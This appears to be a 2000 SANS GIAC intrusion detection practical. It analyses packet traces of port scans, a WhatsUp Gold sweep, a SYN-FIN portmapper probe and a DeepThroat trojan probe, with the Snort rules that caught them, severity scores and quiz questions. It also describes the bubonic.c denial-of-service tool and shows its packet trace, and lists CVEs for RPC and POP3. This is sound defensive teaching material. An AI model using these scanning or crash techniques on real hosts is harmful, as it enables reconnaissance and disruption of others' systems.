Global Information Assurance Certification Paper

SANS Parliament Hill 2000
Intrusion Detection Practical

Submitted by: Kenneth McKinlay

Table of Contents

Introduction

This paper was created in response to the SANS Parliament Hill 2000 Intrusion Detection practical requirement for certification.

The network detection traces were all captured by basic packet sniffing software loaded in the author's computers. The network the author's computers were (are) connected to is the @home service provide by Rogers Canada.

Several tools were used to gather and analyze the data. These include tcpdump with libpcap, Ethereal and snort. The specific versions of the software are detailed in the analysis portion of the detections.

To sanitize the author's own IP address the convention of xxx.yyy.zzz is used to hide the first 3 octets of the IP address.

Network Detects

Detection #1

```
04:08:08.702647 193.230.129.73 > xxx.yyy.zzz.84: icmp: echo request
04:08:08.723403 xxx.yyy.zzz.84 > 193.230.129.73: icmp: echo reply
04:08:57.029772 193.230.129.73.64062 > xxx.yyy.zzz.84.31: S 15936591:15936591(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:57.029900 xxx.yyy.zzz.84.31 > 193.230.129.73.64062: R 0:0(0) ack 15936592 win 0
04:08:57.203971 193.230.129.73.64064 > xxx.yyy.zzz.84.99: S 15936691:15936691(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:57.204097 xxx.yyy.zzz.84.99 > 193.230.129.73.64064: R 0:0(0) ack 15936692 win 0
04:08:57.204754 193.230.129.73.64065 > xxx.yyy.zzz.84.121: S 15936708:15936708(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:57.204824 xxx.yyy.zzz.84.121 > 193.230.129.73.64065: R 0:0(0) ack 15936709 win 0
04:08:57.225747 193.230.129.73.64066 > xxx.yyy.zzz.84.456: S 15936741:15936741(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:57.225863 xxx.yyy.zzz.84.456 > 193.230.129.73.64066: R 0:0(0) ack 15936742 win 0
04:08:57.270145 193.230.129.73.64068 > xxx.yyy.zzz.84.666: S 15936851:15936851(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:57.270260 xxx.yyy.zzz.84.666 > 193.230.129.73.64068: R 0:0(0) ack 15936852 win 0
04:08:57.617919 193.230.129.73.64070 > xxx.yyy.zzz.84.777: S 15937201:15937201(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:57.618045 xxx.yyy.zzz.84.777 > 193.230.129.73.64070: R 0:0(0) ack 15937202 win 0
04:08:57.700697 193.230.129.73.64071 > xxx.yyy.zzz.84.1000: S 15937251:15937251(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:57.700816 xxx.yyy.zzz.84.1000 > 193.230.129.73.64071: R 0:0(0) ack 15937252 win 0
04:08:57.724056 193.230.129.73.64072 > xxx.yyy.zzz.84.1001: S 15937300:15937300(0) win 8192 <mss
```

```
1460,nop,nop,sackOK> (DF)
04:08:57.724201 xxx.yyy.zzz.84.1001 > 193.230.129.73.64072: R 0:0(0) ack 15937301 win 0
04:08:57.770542 193.230.129.73.64073 > xxx.yyy.zzz.84.1010: S 15937350:15937350(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:57.770669 xxx.yyy.zzz.84.1010 > 193.230.129.73.64073: R 0:0(0) ack 15937351 win 0
04:08:57.836570 193.230.129.73.64074 > xxx.yyy.zzz.84.1011: S 15937416:15937416(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:57.836707 xxx.yyy.zzz.84.1011 > 193.230.129.73.64074: R 0:0(0) ack 15937417 win 0
04:08:57.884086 193.230.129.73.64075 > xxx.yyy.zzz.84.1012: S 15937465:15937465(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:57.884210 xxx.yyy.zzz.84.1012 > 193.230.129.73.64075: R 0:0(0) ack 15937466 win 0
04:08:57.933605 193.230.129.73.64076 > xxx.yyy.zzz.84.1015: S 15937516:15937516(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:57.933729 xxx.yyy.zzz.84.1015 > 193.230.129.73.64076: R 0:0(0) ack 15937517 win 0
04:08:58.051739 193.230.129.73.64077 > xxx.yyy.zzz.84.1016: S 15937581:15937581(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:58.051889 xxx.yyy.zzz.84.1016 > 193.230.129.73.64077: R 0:0(0) ack 15937582 win 0
04:08:58.068505 193.230.129.73.64078 > xxx.yyy.zzz.84.1033: S 15937622:15937622(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:58.068648 xxx.yyy.zzz.84.1033 > 193.230.129.73.64078: R 0:0(0) ack 15937623 win 0
04:08:58.143364 193.230.129.73.64079 > xxx.yyy.zzz.84.1042: S 15937702:15937702(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:58.143479 xxx.yyy.zzz.84.1042 > 193.230.129.73.64079: R 0:0(0) ack 15937703 win 0
04:08:58.172182 193.230.129.73.64080 > xxx.yyy.zzz.84.1080: S 15937753:15937753(0) win 8192 <mss
1460,nop,nop,sackOK> (DF)
04:08:58.172315 xxx.yyy.zzz.84.1080 > 193.230.129.73.64080: R 0:0(0) ack 15937754 win 0
```

Note: This is a partial trace of the captured data. A total of 534 ports were scanned from this address.

Source of Trace: Captured using Ethereal version 0.8.10 on a Windows 98 platform connected to the @Home network. The Ethereal tool incorporates both a packet capture feature and a display component to allow for viewing, either in real-time or off-line, of packets. Sorting and additional filters can be put into place to isolate patterns in the data.

The text readable output included in this analysis was generated using tcpdump. The format of the trace is as follows:
time source.port destination.port flags sequence:acknowledge window-size <options> (fragmentflag)

Detect Generated by: The detect was generated by visual inspection by the analyst of the data collected. The filter used to reduce the traffic to a manageable amount is:

```
not (tcp port 20 or 21 or 22 or 25 or 80 or 110 or 119 or 443 or port 53) and
not arp
```

This filter prevents the capturing of the following services: ftp (tcp 20 and 21), ssh (tcp 22), smtp (tcp 25), http (tcp 80), pop3 (tcp 110), nntp (tcp 119), http-ssl (tcp 443), dns (udp and tcp 53) and arp packets.

Probability of Spoofing: Since this is most likely an attempt to probe for unsecured systems, the likelihood of being spoofed is negligible.

Description of Attack: This attack is a reconnaissance for vulnerable systems. By having an automated tool scan for open ports, a list of potential vulnerable systems can be created.

Attack Mechanism: The probing host initially performs an ICMP echo request to determine if the target host is reachable. If it is, the probe commences. Each port is checked only once to determine if it is available for connection. By performing such a probe, a list of vulnerable systems can been created and then exploited at a later time.

The lone SYN flag is typically set on the initiation of the three-way handshake. Since only the SYN flag has been set in the case, a properly defended network should refuse most, if not all of the port checks initiated by an external host.

Correlations: Although this is the first time this scan has been seen on this specific host, this kind of reconnaissance is common on the Internet due to the proliferation of tools like nmap.

Evidence of Active Targeting: This system was not actively targeted. The probe initially started as an ICMP echo request to determine if the target was on-line. Once an on-line target was found, a more detailed reconnaissance was conducted by the remote host within 1 minute. If the ICMP echo request was made a hour before the detailed scan was started, one might suspect active Targeting.

Severity: Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)
-1 = (2 + 2) - (4 + 1)

Criticality:	2	The target host is the analyst's primary workstation and is running Windows 98 as the operating system.
Lethality:	2	Confidentiality attack since details of the OS and open ports could be made available.
System Countermeasures:	4	Windows 98 with all patches applied but not hardened.
Network Countermeasures:	1	none

Defensive Recommendations: Either a personal firewall should be installed on the system or a firewall placed between the @Home network and the target in order to prevent details about the host from being accessed by other external systems.

Multiple Choice Question: Is the trace from Network Detection #1:

1. normal traffic
2. a form of nmap fingerprinting
3. a denial of service
4. an example of reconnaissance

Answer: 4 - This is an example of a reconnaissance.

Detection #2

```
[**] IDS168 - PING WhatsupGold Windows [**]
08/27-16:29:06.354628 195.132.250.253 -> 24.114.127.84
ICMP TTL:114 TOS:0x0 ID:256
ID:1024 Seq:22275 ECHO
57 68 61 74 73 55 70 20 2D 20 41 20 4E 65 74 77 WhatsUp - A Netw
6F 72 6B 20 4D 6F 6E 69 74 6F 72 69 6E 67 20 54 ork Monitoring T
6F 6F 6C 27 73 20 50 69 6E 67 20 44 61 74 61 20 ool's Ping Data
57 68 01 00 02 00                               Wh....
```

Source of Trace: Captured using tcpdump version 3.4a5 and libpcap version 0.4a3 on a NetBSD firewall platform connected to the @Home network. The following filter is in place to reduce the amount of data captured:

```
ip and not ( (tcp port 80) or (tcp port 443) or (tcp port 119) or (tcp port
20) or (tcp port 22 and ( host 216.129.32.194 ) ) or (port 123 and ( host
209.87.233.53 ) ) or (port 53 and ( host 24.2.9.33 or host 24.2.9.34 ) ) or
(tcp port 110 and ( host 24.2.9.40 or host 24.2.9.41 ) ) or (tcp port 25 and (
host 24.2.2.192 or host 24.2.9.40 or host 24.2.9.41 or net 24.0.95 ) ) )
```

Detect Generated by: The detect was generated using Snort version 1.6.3 and ruleset 08292K. The specific rule that triggered the alert was:

```
alert icmp !$HOME_NET any -> $HOME_NET any (msg:"IDS168 - PING WhatsupGold
Windows"; content:"|5768 6174 7355 7020 2d20 4120 4e65
7477|";itype:8;depth:32;)
```

This rule detects any ICMP echo request packets destined for the specified network that has a hexadecimal data payload of 5768 6174 7355 7020 2d20 4120 4e65 7477. This payload is the known signature of Ipswitch's WhatsUp Gold network mapping tool.

The format of the ICMP alert from Snort is:

line 1:[**] rule that triggered the alert [**]
*line 2:*date-time source-ip->destination-ip
*line 3:*protocol time-to-live TOS ID
*line 4:*ID sequence-number ICMP-type
*line n:*HEX ASCII

In this case the alert indicates that it is an ICMP echo request packet.

Probability of Spoofing: Since this trace is from a network discovery, it would defeat the purpose of the tool to spoof the address of

the source. As a correlation, a traceroute was performed back to the source IP address giving a result of 14 hops. Added to the TTL from the alert, this results in an initial TTL of 128. This is a reasonable initial TTL value.

Description of Attack: One of the functions of the Ipswitch Whatsup Gold product is to map out a network using the ICMP echo request function. This is an example of such a network mapping exercise.

Attack Mechanism: This attack works by sending an ICMP echo request packet (type 8) to the hosts specified by the user. An active host will typically respond with an ICMP echo reply packet. With enough responses from multiple hosts, the scanning system is able to create a network map of all available hosts. Multiple attempts at sending ICMP echo request packets may be made over a period of time in order to create a more complete network map of available hosts.

Correlations:

- This detect is listed in the IDS database as number 168. A full description is available from the site http://www.whitehats.com/ under the *arachNIDS* link.
- A second ICMP echo request with the same payload was detected on August 28, 2000 at 06:06:26 from the same host.

Evidence of Active Targeting: The Ipswitch Whatsup Gold software is freely available for evaluation and this trace is most likely a user testing out the functionality of the software. A second trace was detected at on August 28, 2000 at 06:06:26 from the same source but no other traffic has been detected since that time from the host performing the scan.

Severity: Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)
-3 = (5 + 2) - (5 + 5)

Criticality:	5	The system is a firewall and is the gateway to the Internet for the local network.
Lethality:	2	This is a mapping attempt. Without proper security, the internal network could be mapped.
System Countermeasures:	5	NetBSD 1.4.2 with all patches installed and no services available with the exception of ssh.
Network Countermeasures:	5	This is a dedicated firewall system.

Defensive Recommendations: The existing configuration of a properly configured and monitored firewall prevents this form of mapping from discovering the layout of the internal network.

Multiple Choice Question: How did the Snort tool determine that the following alert is from Ipswitch's Whatsup Gold product:

```
[**] IDS168 - PING WhatsupGold Windows [**]
08/27-16:29:06.354628 195.132.250.253->xxx.yyy.zzz.84
ICMP TTL:114 TOS:0x0 ID:256
ID:1024 Seq:22275 ECHO
57 68 61 74 73 55 70 20 2D 20 41 20 4E 65 74 77 WhatsUp - A Netw
6F 72 6B 20 4D 6F 6E 69 74 6F 72 69 6E 67 20 54 ork Monitoring T
6F 6F 6C 27 73 20 50 69 6E 67 20 44 61 74 61 20 ool's Ping Data
57 68 01 00 02 00                               Wh....
```

1. The TTL is greater than 10
2. It is an ICMP echo request packet
3. The contents of the packet
4. It is an ICMP echo reply packet

Answer: 3 - The contents of the packet is the signature of this scan.

Detection #3

```
[**] SCAN-SYN FIN [**]
08/28-01:25:31.130962 4.33.98.60:111 -> xxx.yyy.zzz.84:111
TCP TTL:30 TOS:0x0 ID:39426
**SF**** Seq: 0x7F92AD2C Ack: 0x254B8A44 Win: 0x404
```

Source of Trace: Captured using tcpdump version 3.4a5 and libpcap version 0.4a3 on a NetBSD platform connected to the @Home network. The following filter is in place to reduce the amount of data captured:

```
ip and not ( (tcp port 80) or (tcp port 443) or (tcp port 119) or (tcp port
20) or (tcp port 22 and ( host 216.129.32.194 ) ) or (port 123 and ( host
209.87.233.53 ) ) or (port 53 and ( host 24.2.9.33 or host 24.2.9.34 ) ) or
(tcp port 110 and ( host 24.2.9.40 or host 24.2.9.41 ) ) or (tcp port 25 and (
host 24.2.2.192 or host 24.2.9.40 or host 24.2.9.41 or net 24.0.95 ) ) )
```

Detect Generated by: The detect was generated using Snort version 1.6.3 and ruleset 08292K. The specific rule that triggered the alert was:

```
alert tcp !$HOME_NET any -> $HOME_NET any (msg:"SCAN-SYN FIN";flags:SF;)
```

This rule detects any packets destined for the specified network that have both the SYN and FIN flags enabled.

Probability of Spoofing It is unlikely that this is a spoofed packet since the SYN-FIN combination is typically used as a network mapping tool.

Description of Attack: This specific probe is against the portmapper port (TCP 111) in an attempt to scan for active hosts and determine if the port is available. The paper "Is blocking port 111 sufficient to protect your systems from RPC attacks?" by David P. Reece contains a very good explanation on RPC, portmapper and rpcbind.

This port and related RPC services is well-known for it's recent security problems:

CVE Number	Description
CVE-1999-0003	Execute commands as root via buffer overflow in Tooltalk database server (rpc.ttdbserverd)
CVE-1999-0008	Buffer overflow in NIS+, in Sun's rpc.nisd program
CAN-1999-0078	** CANDIDATE (under review) ** pcnfsd (aka rpc.pcnfsd) allows local users to change file permissions, or execute arbitrary commands through arguments in the RPC call.
CVE-1999-0168	The portmapper may act as a proxy and redirect service requests from an attacker, making the request appear to come from the local host, possibly bypassing authentication that would otherwise have taken place. For example, NFS file systems could be mounted through the portmapper despite export restrictions.
CVE-1999-0189	Solaris rpcbind listens on a high numbered UDP port, which may not be filtered since the standard port number is 111.
CVE-1999-0190	Solaris rpcbind can be exploited to overwrite arbitrary files and gain root access.
CAN-1999-0195	** CANDIDATE (under review) ** Denial of service in RPC portmapper allows attackers to register or unregister RPC services or spoof RPC services using a spoofed source IP address such as 127.0.0.1.
CVE-1999-0208	rpc.ypupdated (NIS) allows remote users to execute arbitrary commands.
CVE-1999-0212	Solaris rpc.mountd generates error messages that allow a remote attacker to determine what files are on the server.
CVE-1999-0228	Denial of service in RPCSS.EXE program (RPC Locator) in Windows NT.
CVE-1999-0320	SunOS rpc.cmsd allows attackers to obtain root access by overwriting arbitrary files.
CVE-1999-	rpc.pcnfsd in HP gives remote root access by changing the permissions on the main printer spool directory.

0353	
CAN-1999-0461	** CANDIDATE (under review) ** Versions of rpcbind including Linux, IRIX, and Wietse Venema's rpcbind allow a remote attacker to insert and delete entries by spoofing a source address.
CVE-1999-0493	rpc.statd allows remote attackers to forward RPC calls to the local operating system via the SM_MON and SM_NOTIFY commands, which in turn could be used to remotely exploit other bugs such as in automountd.
CAN-1999-0632	** CANDIDATE (under review) ** The RPC portmapper service is running.
CVE-1999-0687	The ToolTalk ttsession daemon uses weak RPC authentication, which allows a remote attacker to execute commands.
CVE-1999-0696	Buffer overflow in CDE Calendar Manager Service Daemon (rpc.cmsd)
CVE-1999-0900	Buffer overflow in rpc.yppasswdd allows a local user to gain privileges via MD5 hash generation.
CVE-1999-0969	The Windows NT RPC service allows remote attackers to conduct a denial of service using spoofed malformed RPC packets which generate an error message that is sent to the spoofed host, potentially setting up a loop, aka Snork.
CVE-1999-0974	Buffer overflow in Solaris snoop allows remote attackers to gain root privileges via GETQUOTA requests to the rpc.rquotad service.

CERT Number	Description
CA-94.15	Topic: NFS Vulnerabilities
IN-99-04	Similar Attacks Using Various RPC Services

Another detailed description of this scan can be found under IDS198 in the *arachNIDS* database on http://www.whitehats.com/.

With access to portmapper, an intruder would be able to request a list of which RPC services are available. This includes, but is not restricted to, NFS, ToolTalk and statd. If a file system is exported without any safeguards and the NFS ports are not blocked, the file system could be mounted remotely by the intruder and the data transferred and/or removed. The other RPC services have other security flaws or can provide details to the attacker that can be exploited at a later time.

It is critical that TCP port 111 be blocked from external access in order to prevent this type of security breach.

Attack Mechanism: The scan works by using the illegal TCP flag combination of setting both the SYN and FIN flags. Depending on the firewall, the FIN packet may be permitted in even though the SYN is not. This kind of scan is most likely an attempt to bypass any filtering devices placed on the network.

Correlations:

- Reported by Stephan Odak on June 6, 2000 as a correlation of a detection by Laurie on June 18, 2000.
- Reported from Lapiz, Chennai, IN on July 7, 2000
- A similar scan but using TCP port 9704 to TCP port 9704 was detected on the local @Home network segment on September 11, 2000 at 05:16:16 EST.

Evidence of Active Targeting: This was likely a scan across multiple hosts and networks looking for open portmapper ports and hosts.

Severity: Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)
-3 = (5 + 2) - (5 + 5)

Criticality:	5	The system is a firewall and is the gateway to the Internet for the local network.
Lethality:	2	This is a probe for open portmapper ports.

System Countermeasures:	5	NetBSD 1.4.2 with all patches installed and only TCP 22 is open.
Network Countermeasures:	5	This is a dedicated firewall system.

Defensive Recommendations: The existing firewall configuration is sufficient to prevent internal hosts from being attacked. However, the firewall logs should be actively monitored since a SYN-FIN can be a precursor to a more detailed probe of network resources.

Multiple Choice Question: The following alert was generated using which software:

```
[**] SCAN-SYN FIN [**]
08/28-01:25:31.130962 4.33.98.60:111 -> xxx.yyy.zzz.84:111
TCP TTL:30 TOS:0x0 ID:39426
**SF**** Seq: 0x7F92AD2C Ack: 0x254B8A44 Win: 0x404
```

1. PortSentry
2. Snort
3. BlackIce
4. Shadow

Answer: 2 - Snort.

Detection #4

```
[**] IDS106 - BACKDOOR SIGNATURE -- DeepThroat 3.1 Client Sending Data to Server on Network [**]
07/21-21:32:49.810926 63.30.187.126:60000 -> xxx.yyy.zzz.84:2140
UDP TTL:112 TOS:0x0 ID:47804
Len: 10
```

Source of Trace: Captured using Ethereal version 0.8.10 on a Windows 98 platform connected to the @Home network. The Ethereal tool incorporates both a packet capture feature and a display component to allow for viewing, either in real-time or off-line, of packets. Sorting and additional filters can be put into place to isolate patterns in the data.

The following filter was used to reduce the amount of traffic to be analyzed:

```
not (tcp port 20 or 21 or 22 or 25 or 80 or 110 or 119 or 443 or port 53) and
not arp
```

Detect Generated by: The detect was generated using Snort version 1.6.3 and ruleset 08292K. The specific rule that triggered the alert was:

```
alert udp any 60000 -> $HOME_NET 2140 (msg:"IDS106 - BACKDOOR SIGNATURE --
DeepThroat 3.1 Client Sending Data to Server on Network";)
```

This rule alerts when any UDP packet is being received from the source port 60000 to the destination port of 2410. This is a signature of the DeepThroat trojan software.

Probability of Spoofing: It is unlikely that this is from a spoofed address since it is an attempt to locate a DeepThroat 3.1 server via accessing the backdoor port. If the backdoor port is available, a attempt to control the server would then be made.

Description of Attack: The remote host is attempting to locate and most likely then take control of a DeepThroat 3.1 trojan server. This way, the remote host would not have to expose their IP address to those clients running DeepThroat 3.1.

Attack Mechanism: The remote host is acting like a DeepThroat 3.1 client in an attempt to trigger a response from the DeepThroat 3.1 server. Once a server is identified, a backdoor password can be sent from the client to take over the server. Once the server is taken over, the attacker can use the server to control any clients reporting to that server with minimal risk to the attacker. The risk is minimal to the attacker since the taken-over server's IP address can be detected on the client's system but not the attacker's real IP address.

Correlations: This is a well-known trojan program. Some details can be found at:

- The McAfee Virus site.
- On April 4, 2000, Laurie posted a detect on the GIAC site

- On April 17, 2000, Laurie posted another detection on the GIAC site.

Evidence of Active Targeting: It is most probable that this system has not been actively targeted by the remote system. The remote system is performing reconnaissance to locate running DeepThroat 3.1 servers.

Severity: Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)
0 = (2 + 3) - (4 + 1)

Criticality:	2	The system is the Analyst's own workstation running Microsoft Windows 98.
Lethality:	3	The system could be used to take over other hosts without the owner knowing.
System Countermeasures:	4	Windows 98 with all patches applied but not hardened against attack or probing.
Network Countermeasures:	1	none

Defensive Recommendations: The targeted host should be checked for trojan programs and not just for the DeepThroat 3.1 Server. A firewall or filtering system should be installed to prevent these type of probes from reaching the internal network.

Multiple Choice Question: Based on the alert below, what indicated to Snort that this was a DeepThroat signature:

```
[**] IDS106 - BACKDOOR SIGNATURE -- DeepThroat 3.1 Client Sending Data to
Server on Network [**]
07/21-21:32:49.810926 63.30.187.126:60000 -> xxx.yyy.zzz.84:2140
UDP TTL:112 TOS:0x0 ID:47804
Len: 10
```

1. the source port was UDP 60000
2. the length was equal to 10
3. the destination port was UDP 2140
4. the TTL was greater that 32

Answer: 1 - the source port was UDP 60000.

Evaluate an Attack

Source: A search was performed for new cracker tools and the site http://www.antioffline.com/ was found as a potential source for these type of tools. Bubonic.c, located at http://www.antioffline.com/bubonic.c and included in the Addendum, was selected since it could affect one of the newest operating systems from Microsoft. It was hoped that Microsoft 2000 would have been able to withstand such a simple attack.

Description: This is a simplistic C program written by sil@antioffline.com that can crash hosts that can not handle certain values in the TCP packet. According to the embedded comments, the code is based on a program called daemonic.c that was previously written by the same person. In analyzing the program code, the following bits in the IP and TCP header are randomly generated each time the tool in invoked:

- IP offset
- TCP sequence number
- TCP destination port
- checksum value

Additional bits are also randomized including TCP flags and TCP acknowledgement. These are dependant on if the internal counter is a specific value.

The only possible use of this tool is to either kill the host or denial of service. From the information on the web site, it is very effective at causing Windows 2000 systems to crash. This is most likely due to the inability of the Microsoft Windows IP stack to handle unexpected packet field values.

Trace: The trace below was provided by a file in http://www.antioffline.com/logged. The data below is only a partial snapshot of the complete trace but it is enough to highlight key details of the attack.

```
02:44:42.787375 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: SR [ECN-Echo]
```

```
741211288:741211308(20) win 65535 urg 27759 [tos 0x9a,ECT]
02:44:42.788318 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: RP 741211289:741211309(20)
ack 1264589391 win 65535 [tos 0x9a,ECT]
02:44:42.788355 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: F [CWR] 1:21(20) ack
647970628 win 65535 urg 27759 [tos 0x9a,ECT]
02:44:42.788391 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: R [ECN-Echo] 2:22(20) ack
4106300321 win 65535 urg 27759 [tos 0x9a,ECT]
02:44:42.788427 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: . [ECN-Echo]
741211292:741211312(20) win 65535 urg 27759 [tos 0x9a,ECT]
02:44:42.788463 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: SRP 741211293:741211313(20)
win 65535 urg 27759 [tos 0x9a,ECT]
02:44:42.788499 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: SRP [ECN-Echo]
741211294:741211314(20) win 65535 [tos 0x9a,ECT]
02:44:42.788534 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: F [ECN-Echo] 6:26(20) ack
3897273938 win 65535 [tos 0x9a,ECT]
02:44:42.788569 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: FP [ECN-Echo]
741211296:741211316(20) win 65535 [tos 0x9a,ECT]
02:44:42.788604 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: FRP [ECN-Echo]
741211297:741211317(20) win 65535 [tos 0x9a,ECT]
02:44:42.788639 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: RP [CWR] 9:29(20) ack
4254308846 win 65535 urg 27759 [tos 0x9a,ECT]
02:44:42.788674 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: SP 741211299:741211319(20)
ack 1194028417 win 65535 urg 27759 [tos 0x9a,ECT]
02:44:42.788710 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: SFR [ECN-Echo,CWR]
741211300:741211320(20) ack 711166408 win 65535 [tos 0x9a,ECT]
02:44:42.788745 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: P 1:21(20) ack 209418367
win 65535 [tos 0x9a,ECT]
02:44:42.788781 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: SP [ECN-Echo]
741211302:741211322(20) win 65535 urg 27759 [tos 0x9a,ECT]
02:44:42.788816 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: S [CWR]
741211303:741211323(20) win 65535 urg 27759 [tos 0x9a,ECT]
02:44:42.788852 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: P [ECN-Echo] 4:24(20) ack
1241434103 win 65535 [tos 0x9a,ECT]
02:44:42.788888 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: SFRP
741211305:741211325(20) ack 892184329 win 65535 [tos 0x9a,ECT]
02:44:42.788923 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: . [ECN-Echo] 1:21(20) ack
168752011 win 65535 [tos 0x9a,ECT]
02:44:42.788958 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: P [ECN-Echo,CWR] 2:22(20)
ack 4249412265 win 65535 urg 27759 [tos 0x9a,ECT]
02:44:42.788993 xxx.xxx.xxx.xxx.15964 xxx.xxx.xxx.xxx.40609: FR [ECN-Echo,CWR] 3:23(20)
ack 3934771230 win 65535 [tos 0x9a,ECT]
```

Key items in the displayed packets:

- The TCP flags are randomly set to different and in many cases illegal values. Some of the illegal values are FR (FIN RST), SFRP (SYN FIN RST PSH) and SRP (SYN RST PSH).
- The TCP Acknowledgement bits are also randomly changing over an very short period of time but the source host and port addresses are not. This should immediately raise a red flag if viewed by an Intrusion Analyst as this is extremely unusual behavior for IP traffic.
- The window size of the packet is very large, 65536. This is unusual but not out of the question for normal traffic.

"Analyze This" Scenario

Background

Your organization has been asked to provide a bid to provide security services for this facility. You have been allowed to run a Snort system with a fairly standard rulebase for a month. From time to time, the power has failed, or the disk was full so you do not have data for all days. Your task is to analyze the data, be especially alert for signs of compromised systems or network problems and produce an analysis report.

Capture Data

The captured data is from the SANS Parliament Hill 2000 Conference file SnortS7.txt. Key sections are analyzed below.

Analysis

```
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.55:110 SYN **S*****
```

```
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.175:110 SYN **S*****
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.34:110 SYN **S*****
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.172:110 SYN **S*****
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.179:110 SYN **S*****
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.176:110 SYN **S*****
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.190:110 SYN **S*****
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.58:110 SYN **S*****
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.198:110 SYN **S*****
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.181:110 SYN **S*****
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.32:110 SYN **S*****
Jun 27 00:10:21 211.44.13.212:2666 -> MY.NET.1.185:110 SYN **S*****

<snip a large amount of data>

Jun 27 00:23:42 211.44.13.212:2666 -> MY.NET.1.239:110 SYN **S*****
Jun 27 00:23:42 211.44.13.212:2666 -> MY.NET.1.232:110 SYN **S*****
Jun 27 00:23:42 211.44.13.212:2666 -> MY.NET.1.237:110 SYN **S*****
Jun 27 00:23:42 211.44.13.212:2666 -> MY.NET.1.236:110 SYN **S*****
Jun 27 00:23:42 211.44.13.212:2666 -> MY.NET.1.243:110 SYN **S*****
Jun 27 00:23:42 211.44.13.212:2666 -> MY.NET.1.246:110 SYN **S*****
Jun 27 00:23:42 211.44.13.212:2666 -> MY.NET.1.240:110 SYN **S*****
Jun 27 00:23:42 211.44.13.212:2666 -> MY.NET.1.241:110 SYN **S*****
Jun 27 00:23:42 211.44.13.212:2666 -> MY.NET.1.250:110 SYN **S*****
Jun 27 00:23:42 211.44.13.212:2666 -> MY.NET.1.245:110 SYN **S*****
Jun 27 00:23:42 211.44.13.212:2666 -> MY.NET.1.249:110 SYN **S*****
```

This is a port scan from 211.44.13.212 to hosts on the MY.NET.1.0 network. The scanner is looking for POP3 servers (TCP 110). The last octet of the destination is not sequential in an attempt to avoid detection by IDS software. An important feature to note is that the source port number is fixed. This indicates a specially crafted tool that is performing the query. POP3 servers are known to have a number of vulnerabilities as for on the CVE site:

CVE Number	Description
CVE-1999-0006	Buffer overflow in POP servers based on BSD/Qualcomm's qpopper allows remote attackers to gain root access using a long PASS command.
CVE-1999-0042	Buffer overflow in University of Washington's implementation of IMAP and POP servers.
CVE-1999-0272	Denial of service in Slmail v2.5 through the POP3 port.
CVE-1999-0494	Denial of service in WinGate proxy through a buffer overflow in POP3.
CVE-2000-0091	Buffer overflow in vchkpw/vpopmail POP authentication package allows remote attackers to gain root privileges via a long username or password.
CVE-2000-0139	Internet Anywhere POP3 Mail Server allows local users to cause a denial of service via a malformed RETR command.
CVE-2000-0140	Internet Anywhere POP3 Mail Server allows remote attackers to cause a denial of service via a large number of connections.
CVE-2000-0399	Buffer overflow in MDaemon POP server allows remote attackers to cause a denial of service via a long user name.
CVE-2000-0442	Qpopper 2.53 and earlier allows local users to gain privileges via a formatting string in the From: header, which is processed by the euidl command.
CAN-1999-0242	** CANDIDATE (under review) ** Remote attackers can access mail files via POP3 in some Linux systems that are using shadow passwords.
CAN-1999-	** CANDIDATE (under review) ** A POP service is running.

0642	
CAN-1999-0673	** CANDIDATE (under review) ** Buffer overflow in ALMail32 POP3 client via From: or To: headers.
CAN-1999-0759	** CANDIDATE (under review) ** Buffer overflow in FuseMAIL POP service via long USER and PASS commands.
